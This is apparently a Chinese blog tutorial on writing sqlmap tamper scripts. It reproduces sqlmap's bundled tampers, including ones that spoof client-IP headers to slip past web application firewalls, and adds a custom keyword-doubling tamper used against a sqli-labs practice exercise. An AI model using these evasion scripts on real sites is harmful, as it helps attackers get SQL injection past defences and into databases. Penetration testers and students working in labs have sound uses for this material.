Sqlmap-tamper

Posted on 2022-02-23 Edited on 2022-02-28 Views:

Sqlmap-tamper

简介

sqlmap的--tamper参数可以用给定脚本修改注入数据，主要功能是用来绕过各种waf

Tamper结构

从sqlmap自带的tamper中随便找了一个

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with lower case value (e.g. SELECT -> select)

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions

    >>> tamper('INSERT')
    'insert'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                retVal = retVal.replace(word, word.lower())

    return retVal

引入库

最开始导入必须的库

PRIORITY

用来定义脚本的优先级，参数如下

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

当同时使用多个tamper时，按优先级从高到低使用，编写的时候还得看运用场景，就跑一个tamper感觉这个参数也没啥必要

dependencies

一般用来输出提示信息，比如tamper支持的使用环境或场景，也可以不写东西直接pass

1	singleTimeWarnMessage() #在控制台中输出警告信息

tamper

tamper脚本主要函数，用于实现tamper的功能

payload参数为sqlmap生成的原始payload

**kwargs参数用的比较少，下面两个tamper中kwargs参数都通过更改请求头来绕waf

#varnish.py
def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

#xforwardedfor.py
def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' (and alike)
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    headers["CF-Connecting-IP"] = randomIP()
    headers["True-Client-IP"] = randomIP()

    # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
    headers["Via"] = "1.1 Chrome-Compression-Proxy"

    # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
    headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]

    return payload

Tamper编写

环境

phpstudy + sqli-labs

过滤了or和and

查看源文件，这两个关键词被替换为空了

并且在执行sql查询之前，用户输入的内容只用blacklist函数过滤了一遍，那么这里就可以直接用双写来绕过

脚本

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("bypass:or,and")

def tamper(payload, **kwargs):
    """
    双写绕过关键词on和and过滤
    """
    retVal = payload
    retVal = re.sub(r"(OR)","OORR",retVal)
    retVal = re.sub(r"(AND)", "AANDND", retVal)
    # retVal = re.sub(r"(AND)", "%26%26", retVal) AND可用&&替换
    return retVal